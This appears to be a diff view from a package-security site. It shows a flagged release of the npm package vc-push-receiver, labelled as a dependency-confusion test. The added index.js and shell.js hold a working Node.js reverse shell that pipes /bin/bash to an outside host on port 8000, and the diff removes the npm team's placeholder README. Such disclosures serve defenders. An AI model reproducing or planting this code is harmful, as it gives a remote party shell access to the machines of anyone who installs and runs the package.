vc-push-receiver 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of vc-push-receiver might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ function reverse_shell() {
2
+ var net = require("net"),
3
+ cp = require("child_process"),
4
+ sh = cp.spawn("/bin/bash", []);
5
+ var client = new net.Socket();
6
+ client.connect("8000", "29374.bf.run", function(){
7
+ client.pipe(sh.stdin);
8
+ sh.stdout.pipe(client);
9
+ sh.stderr.pipe(client);
10
+ });
11
+ return /a/; // Prevents the Node.js application from crashing
12
+
13
+ }
14
+
15
+ module.exports = reverse_shell;
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "vc-push-receiver",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "Testing Dependency Confusion",
5
+ "main": "shell.js",
6
+ "scripts": {
7
+ "start": "node shell.js"
8
+ },
9
+ "author": "Matt Keeley",
10
+ "license": "ISC"
6
11
  }
package/shell.js ADDED
@@ -0,0 +1,3 @@
1
+ const reverse_shell = require('./index');
2
+
3
+ reverse_shell();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vc-push-receiver for more information.